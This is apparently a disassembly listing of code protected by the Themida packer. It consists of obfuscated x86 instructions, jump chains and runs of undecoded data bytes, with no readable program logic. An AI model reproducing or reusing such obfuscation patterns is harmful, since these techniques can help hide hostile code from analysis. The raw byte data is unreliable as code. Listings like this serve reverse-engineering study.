btc [esp], ax
pushf
jmp loc_55230A
; ---------------------------------------------------------------------------
aUhqm db 'UhŸm',0
align 2
dw 6BE9h
dd 31FFFF0Bh, 4BE92414h, 0C1FFFF66h, 0EC8308EBh, 0DFBE904h
dd 2BB0000h, 81000000h, 8A38ADC5h, 0BCC58154h, 1668002h
dd 0F9E9DDh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55664E: ; CODE XREF: Themida_:00551FB1j
sub edi, 98D7DDBh
add edi, edx
add edi, 98D7DDBh
pop edx
pop esi
push 1394h
mov [esp], edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push dword ptr [edi+eax*4]
push eax
mov eax, 0E0A6C06h
add [esp+4], eax
pop eax
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push 954h
mov [esp], esi
push edi
mov edi, 1C285483h
neg edi
push esi
push ecx
push ebx
mov ebx, 23481B5Ch
mov ecx, 28E12C68h
jmp loc_557586
; ---------------------------------------------------------------------------
db 89h, 4, 24h
dd 0FF8630E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5566C1: ; CODE XREF: Themida_:0054ED74j
dec ecx
inc ecx
xor ecx, 5E716EFCh
add edx, ecx
pop ecx
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
push ebp
push esp
pop ebp
add ebp, 4
jmp loc_54547F
; ---------------------------------------------------------------------------
db 83h, 0C1h, 4
dd 5C240C87h, 8B66D030h, 73682414h, 8900000Bh, 0E789243Ch
dd 5671B951h, 0D9F70A7Ah, 0FF0A49E9h, 4EC81FFh, 89000000h
dd 0E189240Ch, 4C181h, 0E9810000h, 4, 0FF7DD5E9h, 2AFD25FFh
dd 48353350h, 891FE022h, 0A5AE9C5h, 81AD0000h, 4ECh, 2280E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556746: ; CODE XREF: Themida_:0055277Ej
mov esi, ecx
jmp loc_54462E
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
dd 0E1895124h, 0FF03C8E9h, 2C581FFh, 0E9000000h, 1355h
; ---------------------------------------------------------------------------
loc_556764: ; CODE XREF: Themida_:0054F5FFj
xor edi, 33AAA31Dh
mov esi, edi
pop edi
jmp loc_5459A0
; ---------------------------------------------------------------------------
dw 91BBh
dd 3135583Dh, 241C8BD8h, 2904C483h, 0B85058C3h, 6EB11682h
dd 3503E0C1h, 62505CB8h, 0FFF8FDE9h, 76C480FFh, 28F2EC80h
dd 0F2C480FCh, 5B76EC80h, 59E9E528h, 83FFFF9Bh, 786804C4h
dd 8900001Bh, 34812414h, 0E9160324h, 0E9592Eh, 80FFFF2Eh
dd 0F10873EEh, 0FFB75AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5567CD: ; CODE XREF: Themida_:005458BCj
push eax
mov eax, 28164D47h
jmp loc_5440D2
; ---------------------------------------------------------------------------
loc_5567D8: ; CODE XREF: Themida_:005479E6j
neg edx
xor edx, 4051895Fh
xor edi, edx
pop edx
xor ebp, edi
mov edi, [esp]
add esp, 4
jmp loc_54A24C
; ---------------------------------------------------------------------------
dd 4C481h, 0E9C00000h, 0FDB35306h, 5006EBC0h, 0C30044B0h
dd 5BD93058h, 88CB8853h, 80595BDCh, 0E36807C4h, 8900006Bh
dd 0EC83241Ch, 240C8904h, 0EF88E588h, 0FD885159h, 0FF4BA4E9h
dd 8BD031FFh, 6EE92414h, 83FFFF09h, 0B56804C4h, 89000020h
dd 0EC83240Ch, 243C8904h, 0FF427AE9h, 0F8E943FFh, 50FFFFDBh
dd 76333D68h, 0AE0D5836h, 2D512A16h, 76E2FC7Eh, 0FF5896E9h
dd 60E9ADFFh, 5DFFFF6Ah, 3F6FC581h, 0D5296C7Ch, 0FF2E1EE9h
dd 60C681FFh, 19177EAh, 15B5EF0h, 2592DD0h, 34FF4336h
dd 24148B24h, 0FFA5ABE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_556899: ; CODE XREF: Themida_:0054704Ej
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
push edi
jmp loc_5457D2
; ---------------------------------------------------------------------------
db 1
dd 0B95158C7h, 423F0D62h, 0C5C1E953h, 0E1C1FFFEh, 0E5C18107h
dd 89301249h, 0B95159CBh, 1075444Bh, 0FFF2E5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5568D1: ; CODE XREF: Themida_:0055198Aj
add edi, 4
xor edi, [esp]
xor [esp], edi
jmp loc_54AD52
; ---------------------------------------------------------------------------
db 0FFh
dd 25E92C77h
db 0BEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5568E7: ; CODE XREF: Themida_:0054A40Fj
xor ebp, 7AC26C6Dh
push ebp
xor dword ptr [esp], 18937A26h
pop ecx
xor ecx, 18937A26h
jmp loc_555786
; ---------------------------------------------------------------------------
db 0C1h, 0E5h, 6
dd 0C107E5C1h, 0F96806E5h, 8900000Fh, 6850240Ch, 40F73B8Ch
dd 8124048Bh, 4C4h, 8F5AE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556926: ; CODE XREF: Themida_:005507E7j
add esi, ecx
jmp loc_5530D8
; ---------------------------------------------------------------------------
aTzZ db '’Z%`z',0
db 7Ah
dd 8050E956h, 248BFFFFh, 9927E924h, 405FFFFh, 83000000h
dd 81E904ECh, 81FFFFBCh, 4C4h, 6EFC100h, 5604E7C1h, 4E68C8BEh
dd 99C68141h, 31D39EE9h, 24348BF7h, 4C481h, 89530000h
dd 5BDD89FBh, 5F2434FFh, 81E38953h, 4C3h, 4C38300h, 5C241C87h
dd 2C8BE921h, 4C48124h, 0C1000000h, 0C00900E9h, 7660840Fh
dd 5355FFFFh, 30DDBD55h, 6C2931A8h, 0FF5D0424h, 515D2434h
dd 0E0E9E189h, 29FFFF16h, 0C5815DEAh, 34D60BF4h, 0ED81D529h
dd 34D60BF4h, 5D96685Ah, 3C890000h, 5032BF24h, 0EF8129D5h
dd 12BDF2C4h, 0C15FFD29h, 0EC8102E5h, 4, 0E9243489h, 0FFFEF129h
dd 2136EF81h, 0E95B3594h, 0FFFF6F81h, 4C481h, 0EC830000h
dd 24148904h, 882012BAh, 8DCA8158h, 4A35EE76h, 4F0EA81h
dd 0D50145B2h, 75B1E95Ah, 4BBFFFFh, 1000000h, 0EC815BDEh
dd 4, 0E9241489h, 0FFFF8BF2h
; ---------------------------------------------------------------------------
loc_556A3C: ; CODE XREF: Themida_:0054A6E7j
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
xor al, cl
pop ecx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_55561E
; ---------------------------------------------------------------------------
loc_556A5F: ; CODE XREF: Themida_:005506A6j
jmp loc_54487C
; ---------------------------------------------------------------------------
loc_556A64: ; CODE XREF: Themida_:00555E10j
push 49D4h
mov [esp], ebp
push 21BD4173h
jmp loc_550223
; ---------------------------------------------------------------------------
loc_556A76: ; CODE XREF: Themida_:0054FDEFj
pop edi
add eax, ecx
push dword ptr [esp]
pop ecx
push 0B3h
jmp loc_5457A3
; ---------------------------------------------------------------------------
db 8Bh
dd 0BFE92404h
db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556A8F: ; CODE XREF: Themida_:0054AF04j
mov edx, 4
mov ebp, edx
pop edx
sub edi, ebp
mov ebp, [esp]
jmp loc_54F604
; ---------------------------------------------------------------------------
db 33h, 0Ch, 24h
dd 6624248Bh, 50C8B60Fh, 0FED9E2E9h, 5AD589FFh, 0FF2E0DE9h
dd 8B5452FFh, 0C4832414h, 0DD9AE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556AC6: ; CODE XREF: Themida_:00546E77j
sub ebp, 406063FFh
add ecx, ebp
jmp loc_54580A
; ---------------------------------------------------------------------------
db 0BDh
dd 69333DCh, 997095BBh, 5DEB3157h, 0E95BDE01h, 0FFFF7BB1h
; ---------------------------------------------------------------------------
loc_556AE8: ; CODE XREF: Themida_:00549975j
pop esp
push 79A3h
mov [esp], ecx
push ebx
mov ebx, 199520B3h
push eax
mov eax, 470C0995h
jmp loc_544482
; ---------------------------------------------------------------------------
dw 0ADBBh
dd 29A3215Bh, 0CB815DEBh, 622141Eh, 1EBF574Bh, 81D460FAh
dd 1B1A24C3h, 81FB292Ch, 1B1A24EBh, 243C8B2Ch, 0FF27F1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_556B2D: ; CODE XREF: Themida_:00551B99j
mov [esp], ebx
jmp loc_551EE1
; ---------------------------------------------------------------------------
db 1, 0F7h, 5Eh
dd 0DE89E952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556B3E: ; CODE XREF: Themida_:0054B523j
mov [esp], edi
mov edi, esp
jmp loc_54BB1A
; ---------------------------------------------------------------------------
dd 0E0F381h, 0F3816DD8h, 926088h, 42BB951h, 0F1810086h
dd 154D7EE3h, 29E18141h, 8111666Dh, 31634CF1h, 0FBC381BFh
dd 2939DE35h, 0FBEB81CBh, 0E939DE35h, 0FFFECC84h
; ---------------------------------------------------------------------------
loc_556B80: ; CODE XREF: Themida_:005434D6j
add ebx, 4
push ecx
mov ecx, 57A34E1h
and ecx, 6874638Bh
sub esp, 4
mov [esp], esi
jmp loc_546378
; ---------------------------------------------------------------------------
dd 0EB81FB01h, 7C0C34CDh, 0FF6619E9h, 4C295CFFh, 5B590424h
dd 0FFFA72E9h, 24148BFFh, 0FF7EBBE9h, 2434FFFFh, 0FF4CFFE9h
dd 0EF815BFFh, 530A0076h, 0F2E9EF01h, 31FFFF23h, 14332414h
dd 24248B24h, 0E9F388h, 52FFFF78h, 0FFFFFFBAh, 5AD501FFh
dd 0FF0925E9h, 1258BDFFh, 4AE952F8h, 81FFFEEBh, 9A0A18F5h
dd 1ABA521Bh, 8104974Ch, 0A954BAE2h, 6CEA811Ah, 0E91D6F11h
dd 0FFFFEBF8h, 5104C483h, 0D7799DB9h, 17496836h, 0C890000h
dd 63BBE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556C32: ; CODE XREF: Themida_:00543357j
pop eax
add edi, ebx
jmp loc_54D00A
; ---------------------------------------------------------------------------
dw 0C681h
dd 4, 5C243487h, 8104E6C1h, 1C6h, 0CF98E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556C52: ; CODE XREF: Themida_:0054F6CAj
push edx
mov edx, 48AD796Ah
sub esi, 74EA5DA8h
add esi, edx
jmp loc_54A940
; ---------------------------------------------------------------------------
db 81h, 4, 24h
dd 4, 75F4685Bh, 0C890000h, 74B7B924h, 0E9C11F4Dh, 0D3E98106h
dd 8148E21Ch, 0F013A2E1h, 56D1F755h, 0FF22E6E9h, 242C31FFh
dd 0FFC703E9h, 0EF2858FFh, 0E5C78059h, 0E975CF80h, 0FFFF418Ah
dd 0C007D5B8h, 90BF571Bh, 16DEE4Eh, 0E8C15FF8h, 0B92EE904h
dd 0C681FFFFh, 15F03C81h, 48E9C629h
db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556CCB: ; CODE XREF: Themida_:0054B3A6j
xor ebp, ecx
jmp loc_5530FB
; ---------------------------------------------------------------------------
dw 0C381h
dd 4, 0E904EB83h, 0FFFF1753h, 0DB4CED81h, 0E0E9AE73h, 52FFFF01h
dd 8904EC83h, 682404h, 5873A056h, 487F8225h, 5E8C132h
dd 0AD9C2C2Dh, 0F888E9B0h, 0F831FFFEh, 8BE9C731h, 0B5FFFEBAh
dd 0EE885236h, 0E95AF088h, 0FFFF3B53h, 240C895Ch, 51653CB9h
dd 1E98107h, 0C1000000h, 0C98104E1h, 16B917C0h, 0D22DC181h
dd 0D9E9B437h, 8B000003h, 2CD22424h, 0BDE99C24h, 5BFFFEB9h
dd 24048152h, 7BA37FADh, 7FAD2D58h, 22E97BA3h
db 0DAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_556D63: ; CODE XREF: Themida_:00551552j
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_54EBB1
; ---------------------------------------------------------------------------
dd 6D27D8B8h, 2EBC0543h, 35404045h, 0E6820684h, 0FF4101E9h
dd 5E089FFh, 4, 8704C083h, 815C2404h, 2C6h, 0ED62E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556DA2: ; CODE XREF: Themida_:00557642j
pop eax
sub cl, 1
push 737h
mov [esp], edx
push ecx
mov cl, 0D7h
mov dh, cl
pop ecx
or dh, 6Fh
inc dh
neg dh
not dh
push edx
not byte ptr [esp+1]
jmp loc_54CD76
; ---------------------------------------------------------------------------
db 54h
dd 83240C8Bh, 0C18104C4h, 4, 4C181h, 0C870000h, 2C875C24h
dd 24248B24h, 9C240421h, 0FEB91FE9h, 0FFFFB8FFh, 0C101FFFFh
dd 0FF11A8E9h, 6AE468FFh, 1C890000h, 81E38924h, 4C3h, 4BF5700h
dd 56000000h, 835074BEh, 45F68109h, 817E2779h, 503068EEh
dd 0FCEE8120h, 1DB47C3h, 71E95EF3h, 0FFFFFFFDh, 0E9042474h
dd 0FFFFA2C2h, 56E9CFFEh, 68FFFF76h, 0
dd 5B241C29h, 37F5EB81h, 0DF019C55h, 4EC815Bh, 89000000h
dd 0DC68242Ch, 5D6CC31Ch, 0D5F7D5F7h, 7A2BF581h, 0AEE97AE1h
dd 89FFFF90h, 405E0h, 0C0830000h, 24048704h, 524248Bh
dd 383ED7h, 0FEC9E6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_556E89: ; CODE XREF: Themida_:00543344j
add eax, ebx
sub eax, 48B21D78h
pop ebx
push eax
jmp loc_5537BF
; ---------------------------------------------------------------------------
db 81h
dd 0C52BD0C6h, 21F68138h, 899139AEh, 24348BF0h, 8104C483h
dd 0A40A3CEAh, 6AC2810Dh, 0E9489535h, 0FFFFB279h, 24048B66h
dd 4EC8150h, 89000000h, 45E92424h
db 0DEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_556ECF: ; CODE XREF: Themida_:00544724j
inc cl
xor cl, 16h
add bl, cl
jmp loc_54FD0F
; ---------------------------------------------------------------------------
db 81h
dd 175114C1h, 0C4E1E957h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_556EE6: ; CODE XREF: Themida_:00548139j
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebx
push edx
push 5771h
mov [esp], ecx
mov cl, al
mov dh, cl
push dword ptr [esp]
pop ecx
push esi
mov esi, esp
jmp loc_554367
; ---------------------------------------------------------------------------
loc_556F0C: ; CODE XREF: Themida_:00552589j
add edi, 4
push 565Eh
mov [esp], edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebx
mov ebx, 8782E52h
add ebx, 18A05306h
not ebx
shl ebx, 5
push edi
mov edi, 23102B24h
add ebx, edi
mov edi, [esp]
jmp loc_554FF2
; ---------------------------------------------------------------------------
loc_556F4C: ; CODE XREF: Themida_:00557811j
push ebp
jmp loc_55757A
; ---------------------------------------------------------------------------
dw 0C89h
dd 81E18924h, 4C1h, 4BF5700h, 81000000h, 0A31033E9h, 81F90126h
dd 0A31033C1h, 243C8B26h, 8704C483h, 535C240Ch, 0FFA867E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_556F81: ; CODE XREF: Themida_:0054F283j
add esp, 4
push 2463h
mov [esp], ecx
mov ch, ah
mov bh, ch
mov ecx, [esp]
jmp loc_555743
; ---------------------------------------------------------------------------
loc_556F9B: ; CODE XREF: Themida_:0054739Dj
or ecx, eax
jmp loc_54581B
; ---------------------------------------------------------------------------
loc_556FA2: ; CODE XREF: Themida_:0054306Bj
mov [esp], ebx
mov ebx, 1B651909h
jmp loc_54CE17
; ---------------------------------------------------------------------------
loc_556FAF: ; CODE XREF: Themida_:0054AC5Aj
neg esi
push eax
mov eax, 0BE255B62h
sub esi, 7CFB432Ah
sub esi, eax
add esi, 7CFB432Ah
jmp loc_545BC6
; ---------------------------------------------------------------------------
dw 0E951h
dd 0FFFFE943h, 53242C8Bh, 0C381E389h, 4, 0FF49B8E9h, 240C89FFh
dd 0C25875B9h, 0B0BF5730h, 213BA823h, 0C9815FF9h, 2A635C38h
dd 0EC15C181h, 0CD89FDA8h, 81240C8Bh, 4C4h, 29042D00h
dd 0E8012376h, 76290405h, 242C8B23h, 0F911E955h, 34FFFFFEh
dd 0C4835924h, 6EF3E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55702A: ; CODE XREF: Themida_:00553B8Ej
xor ebx, 29C153F9h
sub esi, ebx
pop ebx
mov edx, esi
pop esi
jmp loc_5572DA
; ---------------------------------------------------------------------------
db 89h
dd 94BD242Ch, 1240423h, 2434FFEEh, 0FEE34BE9h, 4EC83FFh
dd 87243489h, 0D6F72434h, 5E243487h, 0FF818EE9h, 2434FFFFh
dd 5B54535Bh, 4C381h, 0C3810000h, 4, 0CFE9h
db 0
; ---------------------------------------------------------------------------
loc_557079: ; CODE XREF: Themida_:00546E94j
mov ecx, esp
add ecx, 4
jmp loc_545F75
; ---------------------------------------------------------------------------
dw 77FFh
dd 59669D1Ch, 241CD366h, 0B676E99Ch, 8B66FFFEh, 0EC832404h
dd 24048904h, 24048B54h, 0FFF78EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5570A9: ; CODE XREF: Themida_:00553037j
mov ebx, 70FE7A4Fh
xor ebx, 4CB433FFh
shr ebx, 7
sub ebx, 0E345EAh
and ebx, 0BDD3332h
not ebx
jmp loc_552116
; ---------------------------------------------------------------------------
dw 8ABEh
dd 29ABE93Eh, 0E9535DEEh, 0FFFF49DDh, 1C330D48h, 5487DB0h
dd 6, 0A7E9C601h, 88FFFF6Ch, 269AE9E6h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5570F2: ; CODE XREF: Themida_:00554D00j
mov ebx, eax
jmp loc_54B6F2
; ---------------------------------------------------------------------------
db 0Fh, 0B6h, 0C0h
dd 0E987048Fh, 0FFFEB608h, 4C18159h, 50000000h, 1459B951h
dd 5BB804B9h, 0E904B914h, 0FFFF6F1Ch, 0E9595F51h, 0FFFF78B5h
; ---------------------------------------------------------------------------
loc_557124: ; CODE XREF: Themida_:005461E5j
pop eax
push 5C15h
mov [esp], edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
sub bl, ch
pop ecx
push ecx
jmp loc_544722
; ---------------------------------------------------------------------------
dd 0E9241C33h, 0FFFFBB50h
; ---------------------------------------------------------------------------
loc_557150: ; CODE XREF: Themida_:005489F0j
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
and eax, 5B120ABAh
add eax, 0ACEFFF6Ah
sub ecx, 2C564819h
add ecx, 30E63D95h
jmp loc_54FADB
; ---------------------------------------------------------------------------
db 5Dh
dd 0FFCC21E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55717D: ; CODE XREF: Themida_:005446CAj
xor ebp, 78155E77h
push ebp
xor dword ptr [esp], 40166C03h
push dword ptr [esp]
pop edx
jmp loc_5468ED
; ---------------------------------------------------------------------------
aXqO_s db 'XQ¹®_™',0
db 0E9h
dd 0FFFEFC79h, 74FF505Dh, 8F580424h, 0D25C2404h, 0E99C2404h
dd 0FFFEF3D3h
; ---------------------------------------------------------------------------
loc_5571B4: ; CODE XREF: Themida_:00546A56j
mov [esp], ax
jmp loc_54E9F3
; ---------------------------------------------------------------------------
loc_5571BD: ; CODE XREF: Themida_:005564DDj
xor esi, 102017CFh
shl esi, 2
push ebp
jmp loc_549D67
; ---------------------------------------------------------------------------
dd 305068h, 0F059E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5571D6: ; CODE XREF: Themida_:0055508Ej
mov esp, [esp]
sub esp, 4
jmp loc_54EABC
; ---------------------------------------------------------------------------
loc_5571E1: ; CODE XREF: Themida_:0054C075j
pop ebp
jmp loc_55464C
; ---------------------------------------------------------------------------
db 1
dd 0CB6AE9EAh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5571EE: ; CODE XREF: Themida_:00557731j
mov ebp, 4
add edx, 234E491Bh
add edx, ebp
sub edx, 234E491Bh
pop ebp
push esi
mov esi, 30D2C4Ah
xor esi, 30D2C4Eh
add edx, 41720201h
add edx, esi
jmp loc_542A85
; ---------------------------------------------------------------------------
loc_55721B: ; CODE XREF: Themida_:00543940j
push eax
push edx
jmp loc_54CFE4
; ---------------------------------------------------------------------------
dw 0EC83h
dd 24348904h, 5C1EBB53h, 85E915FCh, 0FFFFFEFCh, 0D1E94077h
db 0B4h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_55723B: ; CODE XREF: Themida_:0054AC91j
mov esi, 366430E8h
add ebx, esi
pop esi
jmp loc_552F91
; ---------------------------------------------------------------------------
dd 0E924248Bh, 0FFFF1E10h
; ---------------------------------------------------------------------------
loc_557250: ; CODE XREF: Themida_:00548048j
pop eax
push edx
jmp loc_54F70D
; ---------------------------------------------------------------------------
db 55h
dd 0FFF998E9h, 5E089FFh, 4, 405h, 24048700h, 0E389535Ch
dd 0FEC933E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_557275: ; CODE XREF: Themida_:0054BCE5j
add ecx, 4
xchg ecx, [esp]
pop esp
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
push ecx
jmp loc_552858
; ---------------------------------------------------------------------------
loc_55728E: ; CODE XREF: Themida_:005504E2j
push edi
mov edi, 3A834144h
mov eax, edi
pop edi
push ebp
mov ebp, 791464C5h
jmp loc_548FC2
; ---------------------------------------------------------------------------
dw 8966h
dd 68662424h, 89667595h, 0EC832404h, 24148904h, 75BD6655h
dd 0B6BA6654h, 0EED9E9C9h, 0C681FFFFh, 7C440A1h, 24048B5Bh
dd 81E68956h, 4C6h, 8B5E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5572DA: ; CODE XREF: Themida_:loc_54F759j
; Themida_:00552EFAj ...
push 43E4h
jmp loc_5443EB
; ---------------------------------------------------------------------------
dd 42474FFh, 24048F5Eh, 0F031C631h, 0F792C631h, 585250D2h
dd 0E9C6315Ah, 0FFFFCBADh, 168DE95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557306: ; CODE XREF: Themida_:00547151j
mov edi, [esp]
add esp, 4
push esi
mov esi, 4
sub eax, esi
pop esi
xor eax, [esp]
xor [esp], eax
jmp loc_5449BD
; ---------------------------------------------------------------------------
loc_557323: ; CODE XREF: Themida_:0054BCEDj
add dword ptr [esp], 4
pop dword ptr [esp]
push esi
mov esi, 4
add [esp+4], esi
pop esi
push dword ptr [esp]
pop edx
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp]
jmp loc_54F6A6
; ---------------------------------------------------------------------------
db 1, 0DDh, 8Bh
dd 6DE9241Ch
db 59h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557357: ; CODE XREF: Themida_:00544008j
add eax, 4
xchg eax, [esp]
mov esp, [esp]
add edx, eax
push dword ptr [esp]
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
add esp, 4
and eax, edx
jmp loc_555F1E
; ---------------------------------------------------------------------------
dw 9905h
dd 106F859h, 59992DD0h, 58E906F8h, 89FFFF32h, 6A682434h
dd 8B1F3C61h, 0C4812434h, 4, 1E02CE81h, 0E6C10B48h, 82C68102h
dd 89D53B15h, 348B2077h, 4C48324h, 81E78957h, 4C7h, 4EF8100h
dd 0E9000000h, 0FFFEF2E3h, 4C181h, 0E9830000h, 240C8704h
dd 0FECD03E9h, 55E189FFh, 0FEFF6FE9h, 7E1925FFh, 4D05712Ch
dd 537942CEh, 0DA89C389h, 0FF8049E9h, 2BAFFh, 58520000h
dd 0FFC2015Ah, 83582434h, 0EC8104C4h, 4, 0FF241489h, 0FF042474h
dd 835A2434h, 48F04C4h, 24248B24h, 9C240430h, 0FF7401E9h
dd 240489FFh, 0FF5DABE9h, 9368ADFFh, 8900001Eh, 58542404h
dd 91BE5653h, 0BB39DB27h, 8462FD0h, 0D6E9F301h
db 2 dup(0FEh), 0FFh
; ---------------------------------------------------------------------------
loc_557457: ; CODE XREF: Themida_:0054AB78j
shl ebx, 4
add ebx, 0EC1E3C5Dh
shl ebx, 6
jmp loc_549C92
; ---------------------------------------------------------------------------
dd 4C481h, 0FF570000h, 8B042474h, 0B2E9243Ch, 83FFFEF1h
dd 0C8704C1h, 0E9815C24h, 7B8E1F3Ch, 4924E950h, 8B66FFFFh
dd 54562404h, 4C6815Eh, 52000000h, 0B70D4DBAh, 4EAC13Ch
dd 8108EAC1h, 4404BECAh, 31CDE91Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5574B2: ; CODE XREF: Themida_:00555372j
inc esi
jmp loc_54A3EF
; ---------------------------------------------------------------------------
loc_5574B8: ; CODE XREF: Themida_:00545E0Fj
add edi, ecx
pop ecx
jmp loc_552BBA
; ---------------------------------------------------------------------------
dd 2434FF54h, 4EC8158h, 89000000h, 0E189240Ch, 4C181h
dd 22E90000h
db 0C1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5574DB: ; CODE XREF: Themida_:00549313j
shl esi, 1
xor esi, 2B2D1B4Bh
sub eax, esi
pop esi
push dword ptr [esp]
pop edx
add esp, 4
sub esp, 4
mov [esp], ecx
mov ecx, 2
sub eax, ecx
mov ecx, [esp]
jmp loc_547DE9
; ---------------------------------------------------------------------------
db 8Bh, 0Ch, 24h
dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 5BCBEB81h, 0EB813F52h
dd 337B4EF0h, 0FEB57BE9h, 3ABD55FFh, 0E94DD877h, 0FFFF1122h
dd 33E9FB01h
db 61h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55753B: ; CODE XREF: Themida_:0054A217j
mov edx, [esp]
jmp loc_553F72
; ---------------------------------------------------------------------------
db 8Fh
dd 0C1E94047h
db 0B1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_55754B: ; CODE XREF: Themida_:00542AC4j
mov ebx, 7700370Fh
add ebx, 88FFC8F5h
jmp loc_5517C3
; ---------------------------------------------------------------------------
loc_55755B: ; CODE XREF: Themida_:00548C19j
sub ebx, 2C1F736Eh
add ebx, edi
add ebx, 2C1F736Eh
push ecx
mov ecx, 0
add ecx, 2B7E7CD3h
jmp loc_54F946
; ---------------------------------------------------------------------------
loc_55757A: ; CODE XREF: Themida_:00556F4Dj
mov ebp, 4
add esi, ebp
jmp loc_551836
; ---------------------------------------------------------------------------
loc_557586: ; CODE XREF: Themida_:005566B4j
xor ecx, ebx
jmp loc_552C43
; ---------------------------------------------------------------------------
db 31h, 2Ch, 24h
dd 0FF0A8DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_557595: ; CODE XREF: Themida_:00550ABEj
push ebx
mov ebx, 157549BCh
jmp loc_54522A
; ---------------------------------------------------------------------------
dd 4C4815Fh, 87000000h, 248B241Ch, 1C6F0924h, 83242C8Bh
dd 51E904C4h, 89FFFEB1h, 28BF243Ch, 816BBE3Ch, 2D28D5C2h
dd 81FA2914h, 2D28D5EAh, 9123E914h, 8B66FFFFh, 68552404h
dd 4FFDh, 0FEE1AAE9h, 7EDC1FFh, 0C7FAF581h, 0EA812ECBh
dd 6839555Ah, 2717EA81h, 0EA814990h, 61CF49A3h, 0C281EA01h
dd 61CF49A3h, 4EC81h, 0C890000h, 6870B924h, 0BF5779E8h
dd 7475471Bh, 8105E7C1h, 994875EFh, 22AE909h, 0E952FFFFh
dd 0FFFFB806h
; ---------------------------------------------------------------------------
loc_557630: ; CODE XREF: Themida_:0054A651j
xchg esi, ecx
push edx
mov edx, esp
jmp loc_546FD3
; ---------------------------------------------------------------------------
loc_55763A: ; CODE XREF: Themida_:00545598j
xor ah, bh
pop ebx
add ah, 50h
or cl, ah
jmp loc_556DA2
; ---------------------------------------------------------------------------
db 5Fh
dd 0CA380D2Dh, 5F00143h, 43CA380Dh, 0E92434FFh, 0FFFEFCABh
dd 51505266h, 0D9F651B1h, 4EC81h, 81E90000h, 33FFFF1Ah
dd 0C2E9241Ch, 0F7FFFF53h, 4D2595D5h, 2D18A126h, 0F987D8B9h
dd 8958C631h, 24348BF7h, 4C481h, 0C2810000h, 17F02406h
dd 0EA81FA01h, 17F02406h, 4C2835Fh, 0E9241433h, 0FFFFEF77h
dd 4BFh, 5FFB8900h, 3A2CE956h, 5751FFFFh, 0C781E789h, 4
dd 4EF81h, 3C870000h, 77EFE924h, 0DCBAFFFFh, 4234A714h
dd 0E9E18951h, 0FFFF0776h, 0FCB9514Fh, 8142E76Dh, 0CB3EE2C1h
dd 41D9F76Dh, 8104E9C1h, 0F7182FF1h, 0C7E9817Ch, 164BABBh
dd 86E959CFh
db 0ECh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_557707: ; CODE XREF: Themida_:005509FDj
mov [esp], esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
not esi
xor [esp], esi
xor esi, [esp]
xor [esp], esi
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], edx
mov edx, esp
push 1450h
mov [esp], ebp
jmp loc_5571EE
; ---------------------------------------------------------------------------
dw 489h
aQGfh db '$´ÂQ±Gfh',0
align 2
dw 0C28h
dd 240C8A24h, 0F602C483h, 2AE980D1h, 8841F180h, 0E23059CAh
dd 66D32858h, 0B115E95Ah
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_557762: ; CODE XREF: Themida_:005475EEj
push esp
jmp loc_543955
; ---------------------------------------------------------------------------
